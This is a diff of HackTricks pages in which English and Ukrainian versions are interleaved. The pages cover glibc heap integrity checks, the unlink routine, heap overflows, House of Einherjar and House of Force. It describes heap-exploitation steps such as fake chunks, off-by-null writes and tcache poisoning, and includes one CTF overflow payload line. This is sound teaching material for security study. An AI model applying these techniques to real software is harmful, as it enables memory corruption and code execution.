- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
- Error message: `corrupted double-linked list (not small)`
- Перевірте, чи вказаний розмір фрагмента такий же, як `prev_size`, вказаний у наступному фрагменті
- Повідомлення про помилку: `corrupted size vs. prev_size`
- Також перевірте, що `P->fd->bk == P` і `P->bk->fw == P`
- Повідомлення про помилку: `corrupted double-linked list`
- Якщо фрагмент не малий, перевірте, що `P->fd_nextsize->bk_nextsize == P` і `P->bk_nextsize->fd_nextsize == P`
- Повідомлення про помилку: `corrupted double-linked list (not small)`
## \_int_malloc
For more info check:
Для отримання додаткової інформації перевірте:
{{#ref}}
malloc-and-sysmalloc.md
{{#endref}}
- **Checks during fast bin search:**
- If the chunk is misaligned:
- Error message: `malloc(): unaligned fastbin chunk detected 2`
- If the forward chunk is misaligned:
- Error message: `malloc(): unaligned fastbin chunk detected`
- If the returned chunk has a size that isn't correct because of it's index in the fast bin:
- Error message: `malloc(): memory corruption (fast)`
- If any chunk used to fill the tcache is misaligned:
- Error message: `malloc(): unaligned fastbin chunk detected 3`
- **Checks during small bin search:**
- If `victim->bk->fd != victim`:
- Error message: `malloc(): smallbin double linked list corrupted`
- **Checks during consolidate** performed for each fast bin chunk:&#x20;
- If the chunk is unaligned trigger:
- Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
- If the chunk has a different size that the one it should because of the index it's in:
- Error message: `malloc_consolidate(): invalid chunk size`
- If the previous chunk is not in use and the previous chunk has a size different of the one indicated by prev_chunk:
- Error message: `corrupted size vs. prev_size in fastbins`
- **Checks during unsorted bin search**:
- If the chunk size is weird (too small or too big):&#x20;
- Error message: `malloc(): invalid size (unsorted)`
- If the next chunk size is weird (too small or too big):
- Error message: `malloc(): invalid next size (unsorted)`
- If the previous size indicated by the next chunk differs from the size of the chunk:
- Error message: `malloc(): mismatching next->prev_size (unsorted)`
- If not `victim->bck->fd == victim` or not `victim->fd == av (arena)`:
- Error message: `malloc(): unsorted double linked list corrupted`
- As we are always checking the las one, it's fd should be pointing always to the arena struct.
- If the next chunk isn't indicating that the previous is in use:
- Error message: `malloc(): invalid next->prev_inuse (unsorted)`
- If `fwd->bk_nextsize->fd_nextsize != fwd`:
- Error message: `malloc(): largebin double linked list corrupted (nextsize)`
- If `fwd->bk->fd != fwd`:
- Error message: `malloc(): largebin double linked list corrupted (bk)`
- **Checks during large bin (by index) search:**
- `bck->fd-> bk != bck`:
- Error message: `malloc(): corrupted unsorted chunks`
- **Checks during large bin (next bigger) search:**
- `bck->fd-> bk != bck`:
- Error message: `malloc(): corrupted unsorted chunks2`
- **Checks during Top chunk use:**
- `chunksize(av->top) > av->system_mem`:
- Error message: `malloc(): corrupted top size`
- **Перевірки під час пошуку швидкого бін:**
- Якщо фрагмент неправильно вирівняний:
- Повідомлення про помилку: `malloc(): unaligned fastbin chunk detected 2`
- Якщо наступний фрагмент неправильно вирівняний:
- Повідомлення про помилку: `malloc(): unaligned fastbin chunk detected`
- Якщо повернутий фрагмент має неправильний розмір через свій індекс у швидкому біні:
- Повідомлення про помилку: `malloc(): memory corruption (fast)`
- Якщо будь-який фрагмент, використаний для заповнення tcache, неправильно вирівняний:
- Повідомлення про помилку: `malloc(): unaligned fastbin chunk detected 3`
- **Перевірки під час пошуку малого біна:**
- Якщо `victim->bk->fd != victim`:
- Повідомлення про помилку: `malloc(): smallbin double linked list corrupted`
- **Перевірки під час консолідації**, виконувані для кожного фрагмента швидкого біна:&#x20;
- Якщо фрагмент неправильно вирівняний, викликайте:
- Повідомлення про помилку: `malloc_consolidate(): unaligned fastbin chunk detected`
- Якщо фрагмент має інший розмір, ніж той, який повинен бути через індекс, в якому він знаходиться:
- Повідомлення про помилку: `malloc_consolidate(): invalid chunk size`
- Якщо попередній фрагмент не використовується, а попередній фрагмент має розмір, відмінний від вказаного prev_chunk:
- Повідомлення про помилку: `corrupted size vs. prev_size in fastbins`
- **Перевірки під час пошуку неупорядкованого біна:**
- Якщо розмір фрагмента дивний (занадто малий або занадто великий):&#x20;
- Повідомлення про помилку: `malloc(): invalid size (unsorted)`
- Якщо розмір наступного фрагмента дивний (занадто малий або занадто великий):
- Повідомлення про помилку: `malloc(): invalid next size (unsorted)`
- Якщо попередній розмір, вказаний наступним фрагментом, відрізняється від розміру фрагмента:
- Повідомлення про помилку: `malloc(): mismatching next->prev_size (unsorted)`
- Якщо не `victim->bck->fd == victim` або не `victim->fd == av (arena)`:
- Повідомлення про помилку: `malloc(): unsorted double linked list corrupted`
- Оскільки ми завжди перевіряємо останній, його fd завжди має вказувати на структуру арени.
- Якщо наступний фрагмент не вказує, що попередній використовується:
- Повідомлення про помилку: `malloc(): invalid next->prev_inuse (unsorted)`
- Якщо `fwd->bk_nextsize->fd_nextsize != fwd`:
- Повідомлення про помилку: `malloc(): largebin double linked list corrupted (nextsize)`
- Якщо `fwd->bk->fd != fwd`:
- Повідомлення про помилку: `malloc(): largebin double linked list corrupted (bk)`
- **Перевірки під час пошуку великого біна (за індексом):**
- `bck->fd-> bk != bck`:
- Повідомлення про помилку: `malloc(): corrupted unsorted chunks`
- **Перевірки під час пошуку великого біна (наступний більший):**
- `bck->fd-> bk != bck`:
- Повідомлення про помилку: `malloc(): corrupted unsorted chunks2`
- **Перевірки під час використання верхнього фрагмента:**
- `chunksize(av->top) > av->system_mem`:
- Повідомлення про помилку: `malloc(): corrupted top size`
## `tcache_get_n`
- **Checks in `tcache_get_n`:**
- If chunk is misaligned:
- Error message: `malloc(): unaligned tcache chunk detected`
- **Перевірки в `tcache_get_n`:**
- Якщо фрагмент неправильно вирівняний:
- Повідомлення про помилку: `malloc(): unaligned tcache chunk detected`
## `tcache_thread_shutdown`
- **Checks in `tcache_thread_shutdown`:**
- If chunk is misaligned:
- Error message: `tcache_thread_shutdown(): unaligned tcache chunk detected`
- **Перевірки в `tcache_thread_shutdown`:**
- Якщо фрагмент неправильно вирівняний:
- Повідомлення про помилку: `tcache_thread_shutdown(): unaligned tcache chunk detected`
## `__libc_realloc`
- **Checks in `__libc_realloc`:**
- If old pointer is misaligned or the size was incorrect:
- Error message: `realloc(): invalid pointer`
- **Перевірки в `__libc_realloc`:**
- Якщо старий вказівник неправильно вирівняний або розмір був неправильним:
- Повідомлення про помилку: `realloc(): invalid pointer`
## `_int_free`
For more info check:
Для отримання додаткової інформації перевірте:
{{#ref}}
free.md
{{#endref}}
- **Checks during the start of `_int_free`:**
- Pointer is aligned:
- Error message: `free(): invalid pointer`
- Size larger than `MINSIZE` and size also aligned:
- Error message: `free(): invalid size`
- **Checks in `_int_free` tcache:**
- If there are more entries than `mp_.tcache_count`:
- Error message: `free(): too many chunks detected in tcache`
- If the entry is not aligned:
- Error message: `free(): unaligned chunk detected in tcache 2`
- If the freed chunk was already freed and is present as chunk in the tcache:
- Error message: `free(): double free detected in tcache 2`
- **Checks in `_int_free` fast bin:**
- If the size of the chunk is invalid (too big or small) trigger:
- Error message: `free(): invalid next size (fast)`
- If the added chunk was already the top of the fast bin:
- Error message: `double free or corruption (fasttop)`
- If the size of the chunk at the top has a different size of the chunk we are adding:
- Error message: `invalid fastbin entry (free)`
- **Перевірки на початку `_int_free`:**
- Вказівник вирівняний:
- Повідомлення про помилку: `free(): invalid pointer`
- Розмір більший за `MINSIZE` і розмір також вирівняний:
- Повідомлення про помилку: `free(): invalid size`
- **Перевірки в `_int_free` tcache:**
- Якщо є більше записів, ніж `mp_.tcache_count`:
- Повідомлення про помилку: `free(): too many chunks detected in tcache`
- Якщо запис не вирівняний:
- Повідомлення про помилку: `free(): unaligned chunk detected in tcache 2`
- Якщо звільнений фрагмент вже був звільнений і присутній як фрагмент у tcache:
- Повідомлення про помилку: `free(): double free detected in tcache 2`
- **Перевірки в `_int_free` швидкому біні:**
- Якщо розмір фрагмента недійсний (занадто великий або малий), викликайте:
- Повідомлення про помилку: `free(): invalid next size (fast)`
- Якщо доданий фрагмент вже був верхнім у швидкому біні:
- Повідомлення про помилку: `double free or corruption (fasttop)`
- Якщо розмір фрагмента на верху має інший розмір, ніж фрагмент, який ми додаємо:
- Повідомлення про помилку: `invalid fastbin entry (free)`
## **`_int_free_merge_chunk`**
- **Checks in `_int_free_merge_chunk`:**
- If the chunk is the top chunk:
- Error message: `double free or corruption (top)`
- If the next chunk is outside of the boundaries of the arena:
- Error message: `double free or corruption (out)`
- If the chunk is not marked as used (in the prev_inuse from the following chunk):
- Error message: `double free or corruption (!prev)`
- If the next chunk has a too little size or too big:
- Error message: `free(): invalid next size (normal)`
- If the previous chunk is not in use, it will try to consolidate. But, if the `prev_size` differs from the size indicated in the previous chunk:
- Error message: `corrupted size vs. prev_size while consolidating`
- **Перевірки в `_int_free_merge_chunk`:**
- Якщо фрагмент є верхнім фрагментом:
- Повідомлення про помилку: `double free or corruption (top)`
- Якщо наступний фрагмент знаходиться за межами кордонів арени:
- Повідомлення про помилку: `double free or corruption (out)`
- Якщо фрагмент не позначений як використаний (в prev_inuse наступного фрагмента):
- Повідомлення про помилку: `double free or corruption (!prev)`
- Якщо наступний фрагмент має занадто малий або занадто великий розмір:
- Повідомлення про помилку: `free(): invalid next size (normal)`
- Якщо попередній фрагмент не використовується, він спробує консолідувати. Але, якщо `prev_size` відрізняється від розміру, вказаного в попередньому фрагменті:
- Повідомлення про помилку: `corrupted size vs. prev_size while consolidating`
## **`_int_free_create_chunk`**
- **Checks in `_int_free_create_chunk`:**
- Adding a chunk into the unsorted bin, check if `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
- Error message: `free(): corrupted unsorted chunks`
- **Перевірки в `_int_free_create_chunk`:**
- Додаючи фрагмент у неупорядкований бін, перевірте, чи `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
- Повідомлення про помилку: `free(): corrupted unsorted chunks`
## `do_check_malloc_state`
- **Checks in `do_check_malloc_state`:**
- If misaligned fast bin chunk:
- Error message: `do_check_malloc_state(): unaligned fastbin chunk detected`
- **Перевірки в `do_check_malloc_state`:**
- Якщо неправильно вирівняний фрагмент швидкого біна:
- Повідомлення про помилку: `do_check_malloc_state(): unaligned fastbin chunk detected`
## `malloc_consolidate`
- **Checks in `malloc_consolidate`:**
- If misaligned fast bin chunk:
- Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
- If incorrect fast bin chunk size:
- Error message: `malloc_consolidate(): invalid chunk size`
- **Перевірки в `malloc_consolidate`:**
- Якщо неправильно вирівняний фрагмент швидкого біна:
- Повідомлення про помилку: `malloc_consolidate(): unaligned fastbin chunk detected`
- Якщо неправильний розмір фрагмента швидкого біна:
- Повідомлення про помилку: `malloc_consolidate(): invalid chunk size`
## `_int_realloc`
- **Checks in `_int_realloc`:**
- Size is too big or too small:
- Error message: `realloc(): invalid old size`
- Size of the next chunk is too big or too small:
- Error message: `realloc(): invalid next size`
- **Перевірки в `_int_realloc`:**
- Розмір занадто великий або занадто малий:
- Повідомлення про помилку: `realloc(): invalid old size`
- Розмір наступного фрагмента занадто великий або занадто малий:
- Повідомлення про помилку: `realloc(): invalid next size`
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,8 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
### Code
### Код
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -11,73 +10,72 @@
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
// Added: If the FD is not in the nextsize list
if (fd->fd_nextsize == NULL)
{
// Added: If the FD is not in the nextsize list
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
// Link the nexsize list in when removing the new chunk
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
// Link the nexsize list in when removing the new chunk
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
```
### Графічне Пояснення
### Graphical Explanation
Check this great graphical explanation of the unlink process:
Перевірте це чудове графічне пояснення процесу unlink:
<figure><img src="../../../images/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
### Security Checks
### Перевірки Безпеки
- Check if the indicated size of the chunk is the same as the prev_size indicated in the next chunk
- Check also that `P->fd->bk == P` and `P->bk->fw == P`
- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
- Перевірте, чи вказаний розмір блоку такий же, як prev_size, вказаний у наступному блоці
- Також перевірте, що `P->fd->bk == P` і `P->bk->fw == P`
- Якщо блок не малий, перевірте, що `P->fd_nextsize->bk_nextsize == P` і `P->bk_nextsize->fd_nextsize == P`
### Leaks
### Витоки
An unlinked chunk is not cleaning the allocated addreses, so having access to rad it, it's possible to leak some interesting addresses:
Відключений блок не очищає виділені адреси, тому, маючи доступ до нього, можна витікати деякі цікаві адреси:
Libc Leaks:
Витоки Libc:
- If P is located in the head of the doubly linked list, `bk` will be pointing to `malloc_state` in libc
- If P is located at the end of the doubly linked list, `fd` will be pointing to `malloc_state` in libc
- When the doubly linked list contains only one free chunk, P is in the doubly linked list, and both `fd` and `bk` can leak the address inside `malloc_state`.
- Якщо P знаходиться на початку двозв'язного списку, `bk` буде вказувати на `malloc_state` в libc
- Якщо P знаходиться в кінці двозв'язного списку, `fd` буде вказувати на `malloc_state` в libc
- Коли двозв'язний список містить лише один вільний блок, P знаходиться в двозв'язному списку, і обидва `fd` і `bk` можуть витікати адресу всередині `malloc_state`.
Heap leaks:
Витоки Heap:
- If P is located in the head of the doubly linked list, `fd` will be pointing to an available chunk in the heap
- If P is located at the end of the doubly linked list, `bk` will be pointing to an available chunk in the heap
- If P is in the doubly linked list, both `fd` and `bk` will be pointing to an available chunk in the heap
- Якщо P знаходиться на початку двозв'язного списку, `fd` буде вказувати на доступний блок у купі
- Якщо P знаходиться в кінці двозв'язного списку, `bk` буде вказувати на доступний блок у купі
- Якщо P знаходиться в двозв'язному списку, обидва `fd` і `bk` будуть вказувати на доступний блок у купі
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,47 +4,45 @@
## Basic Information
A heap overflow is like a [**stack overflow**](../stack-overflow/) but in the heap. Basically it means that some space was reserved in the heap to store some data and **stored data was bigger than the space reserved.**
Переповнення купи - це як [**переповнення стеку**](../stack-overflow/), але в купі. В основному це означає, що деякий простір було зарезервовано в купі для зберігання деяких даних, і **збережені дані були більшими за зарезервований простір.**
In stack overflows we know that some registers like the instruction pointer or the stack frame are going to be restored from the stack and it could be possible to abuse this. In case of heap overflows, there **isn't any sensitive information stored by default** in the heap chunk that can be overflowed. However, it could be sensitive information or pointers, so the **criticality** of this vulnerability **depends** on **which data could be overwritten** and how an attacker could abuse this.
У випадку переповнень стеку ми знаємо, що деякі регістри, такі як вказівник інструкцій або стековий фрейм, будуть відновлені зі стеку, і це може бути можливим для зловживання. У випадку переповнень купи **немає жодної чутливої інформації, що зберігається за замовчуванням** в купі, яка може бути переповнена. Однак це можуть бути чутливі дані або вказівники, тому **критичність** цієї вразливості **залежить** від **того, які дані можуть бути перезаписані** і як зловмисник може цим зловживатися.
> [!TIP]
> In order to find overflow offsets you can use the same patterns as in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets).
> Щоб знайти зсуви переповнення, ви можете використовувати ті ж шаблони, що й у [**переповненнях стеку**](../stack-overflow/#finding-stack-overflows-offsets).
### Stack Overflows vs Heap Overflows
In stack overflows the arranging and data that is going to be present in the stack at the moment the vulnerability can be triggered is fairly reliable. This is because the stack is linear, always increasing in colliding memory, in **specific places of the program run the stack memory usually stores similar kind of data** and it has some specific structure with some pointers at the end of the stack part used by each function.
У переповненнях стеку розташування та дані, які будуть присутні в стеку в момент, коли вразливість може бути активована, є досить надійними. Це пов'язано з тим, що стек є лінійним, завжди зростаючим у зіткненні пам'яті, у **конкретних місцях виконання програми стекова пам'ять зазвичай зберігає подібні дані** і має певну структуру з деякими вказівниками в кінці частини стеку, що використовується кожною функцією.
However, in the case of a heap overflow, the used memory isnt linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. Its **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, its needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed.
Однак у випадку переповнення купи використана пам'ять не є лінійною, а **використані шматки зазвичай знаходяться в окремих позиціях пам'яті** (не один біля одного) через **контейнери та зони**, які розділяють алокації за розміром, і через те, що **попередньо звільнена пам'ять використовується** перед алокацією нових шматків. Це **складно знати об'єкт, який буде зіткненням з вразливим** до переповнення купи. Тому, коли знаходиться переповнення купи, потрібно знайти **надійний спосіб зробити так, щоб бажаний об'єкт був наступним у пам'яті** після того, що може бути переповнене.
One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post its explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks).
Одна з технік, що використовуються для цього, - це **Heap Grooming**, яка використовується, наприклад, [**в цьому пості**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). У пості пояснюється, як у ядрі iOS, коли зона вичерпується пам'яттю для зберігання шматків пам'яті, вона розширюється на сторінку ядра, і ця сторінка ділиться на шматки очікуваних розмірів, які будуть використовуватися в порядку (до версії iOS 9.2, потім ці шматки використовуються випадковим чином, щоб ускладнити експлуатацію цих атак).
Therefore, in the previous post where a heap overflow is happening, in order to force the overflowed object to be colliding with a victim order, several **`kallocs` are forced by several threads to try to ensure that all the free chunks are filled and that a new page is created**.
Отже, в попередньому пості, де відбувається переповнення купи, щоб примусити переповнений об'єкт зіткнутися з об'єктом жертви, кілька **`kallocs` примушуються кількома потоками, щоб спробувати забезпечити, щоб усі вільні шматки були заповнені і щоб була створена нова сторінка**.
In order to force this filling with objects of a specific size, the **out-of-line allocation associated with an iOS mach port** is an ideal candidate. By crafting the size of the message, its possible to exactly specify the size of `kalloc` allocation and when the corresponding mach port is destroyed, the corresponding allocation will be immediately released back to `kfree`.
Щоб примусити це заповнення об'єктами певного розміру, **алокація поза лінією, пов'язана з iOS mach port**, є ідеальним кандидатом. Шляхом формування розміру повідомлення можна точно вказати розмір алокації `kalloc`, і коли відповідний mach port знищується, відповідна алокація буде негайно повернена до `kfree`.
Then, some of these placeholders can be **freed**. The **`kalloc.4096` free list releases elements in a last-in-first-out order**, which basically means that if some place holders are freed and the exploit try lo allocate several victim objects while trying to allocate the object vulnerable to overflow, its probable that this object will be followed by a victim object.
Тоді деякі з цих заповнювачів можуть бути **звільнені**. **Список вільних `kalloc.4096` звільняє елементи в порядку останній прийшов - перший пішов**, що в основному означає, що якщо деякі заповнювачі звільнені, а експлойт намагається алокувати кілька об'єктів жертви, намагаючись алокувати об'єкт, вразливий до переповнення, ймовірно, що цей об'єкт буде слідувати за об'єктом жертви.
### Example libc
[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also.
[**На цій сторінці**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) можна знайти базову емуляцію переповнення купи, яка показує, як перезаписуючи попередній біт використання наступного шматка та позицію попереднього розміру, можна **консолідувати використаний шматок** (зробивши його вважати, що він не використовується) і **потім знову алокувати його**, маючи можливість перезаписати дані, які використовуються в іншому вказівнику.
Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**.
Ще один приклад з [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) показує дуже базовий приклад CTF, де **переповнення купи** може бути використано для виклику функції переможця, щоб **отримати прапор**.
In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to.
У прикладі [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) можна побачити, як зловживаючи переповненням буфера, можна **перезаписати в сусідньому шматку адресу**, куди **будуть записані довільні дані від користувача**.
### Example ARM64
In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk. So, it's possible to modify the executed command by overwriting it with an easy exploit such as:
На сторінці [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) ви можете знайти приклад переповнення купи, де команда, яка буде виконана, зберігається в наступному шматку від переповненого шматка. Таким чином, можна змінити виконувану команду, перезаписавши її простим експлойтом, таким як:
```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
```
### Other examples
### Інші приклади
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
- We use an Integer Overflow vulnerability to get a Heap Overflow.
- We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution.
- Ми використовуємо вразливість цілочисельного переповнення, щоб отримати переповнення купи.
- Ми корумпуємо вказівники на функцію всередині `struct` переповненого блоку, щоб встановити функцію, таку як `system`, і отримати виконання коду.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,48 +2,48 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
### Code
### Код
- Check the example from [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- Or the one from [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (you might need to fill the tcache)
- Перевірте приклад з [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- Або той, що з [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (можливо, вам потрібно буде заповнити tcache)
### Goal
### Мета
- The goal is to allocate memory in almost any specific address.
- Мета полягає в тому, щоб виділити пам'ять за майже будь-якою конкретною адресою.
### Requirements
### Вимоги
- Create a fake chunk when we want to allocate a chunk:
- Set pointers to point to itself to bypass sanity checks
- One-byte overflow with a null byte from one chunk to the next one to modify the `PREV_INUSE` flag.
- Indicate in the `prev_size` of the off-by-null abused chunk the difference between itself and the fake chunk
- The fake chunk size must also have been set the same size to bypass sanity checks
- For constructing these chunks, you will need a heap leak.
- Створити фейковий чанк, коли ми хочемо виділити чанк:
- Встановити вказівники, щоб вони вказували на себе, щоб обійти перевірки
- Переповнення на один байт з нульовим байтом з одного чанка до наступного, щоб змінити прапорець `PREV_INUSE`.
- Вказати в `prev_size` зловживаного чанка off-by-null різницю між ним і фейковим чанком
- Розмір фейкового чанка також повинен бути встановлений таким же, щоб обійти перевірки
- Для побудови цих чанків вам знадобиться витік купи.
### Attack
### Атака
- `A` fake chunk is created inside a chunk controlled by the attacker pointing with `fd` and `bk` to the original chunk to bypass protections
- 2 other chunks (`B` and `C`) are allocated
- Abusing the off by one in the `B` one the `prev in use` bit is cleaned and the `prev_size` data is overwritten with the difference between the place where the `C` chunk is allocated, to the fake `A` chunk generated before
- This `prev_size` and the size in the fake chunk `A` must be the same to bypass checks.
- Then, the tcache is filled
- Then, `C` is freed so it consolidates with the fake chunk `A`
- Then, a new chunk `D` is created which will be starting in the fake `A` chunk and covering `B` chunk
- The house of Einherjar finishes here
- This can be continued with a fast bin attack or Tcache poisoning:
- Free `B` to add it to the fast bin / Tcache
- `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside)&#x20;
- Then, 2 mallocs are done and the second one is going to be **allocating the target address**
- Створюється `A` фейковий чанк всередині чанка, контрольованого атакуючим, вказуючи `fd` і `bk` на оригінальний чанк, щоб обійти захист
- Виділяються ще 2 чанки (`B` і `C`)
- Зловживаючи off by one в `B`, очищається біт `prev in use`, а дані `prev_size` перезаписуються різницею між місцем, де виділяється чанк `C`, і фейковим чанком `A`, створеним раніше
- Цей `prev_size` і розмір у фейковому чанку `A` повинні бути однаковими, щоб обійти перевірки.
- Потім заповнюється tcache
- Потім `C` звільняється, щоб об'єднатися з фейковим чанком `A`
- Потім створюється новий чанк `D`, який почнеться у фейковому чанку `A` і покриє чанк `B`
- Будинок Ейнхер'я закінчується тут
- Це можна продовжити з атакою швидкого бін або отруєнням Tcache:
- Звільнити `B`, щоб додати його до швидкого біну / Tcache
- `fd` `B` перезаписується, змушуючи його вказувати на цільову адресу, зловживаючи чанком `D` (оскільки він містить `B`)
- Потім виконуються 2 malloc, і другий з них буде **виділяти цільову адресу**
## References and other examples
## Посилання та інші приклади
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad)
- After freeing pointers their aren't nullified, so it's still possible to access their data. Therefore a chunk is placed in the unsorted bin and leaked the pointers it contains (libc leak) and then a new heap is places on the unsorted bin and leaked a heap address from the pointer it gets.
- Після звільнення вказівники не обнуляються, тому все ще можливо отримати доступ до їх даних. Тому чанк поміщається в неупорядкований бін і витікає вказівники, які він містить (libc leak), а потім нова купа поміщається в неупорядкований бін і витікає адресу купи з вказівника, який вона отримує.
- [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
- Null-byte overflow bug in `strtok`.
- Use House of Einherjar to get an overlapping chunks situation and finish with Tcache poisoning ti get an arbitrary write primitive.
- Помилка переповнення нульового байта в `strtok`.
- Використовуйте House of Einherjar, щоб отримати ситуацію з перекриваючими чанками і закінчити з отруєнням Tcache, щоб отримати примітив довільного запису.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,41 +6,39 @@
### Code
- This technique was patched ([**here**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) and produces this error: `malloc(): corrupted top size`
- You can try the [**code from here**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) to test it if you want.
- Ця техніка була виправлена ([**тут**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) і викликає цю помилку: `malloc(): corrupted top size`
- Ви можете спробувати [**код звідси**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html), щоб протестувати його, якщо хочете.
### Goal
- The goal of this attack is to be able to allocate a chunk in a specific address.
- Метою цієї атаки є можливість виділити шматок пам'яті за певною адресою.
### Requirements
- An overflow that allows to overwrite the size of the top chunk header (e.g. -1).
- Be able to control the size of the heap allocation
- Переповнення, яке дозволяє перезаписати розмір заголовка верхнього шматка (наприклад, -1).
- Можливість контролювати розмір виділення пам'яті
### Attack
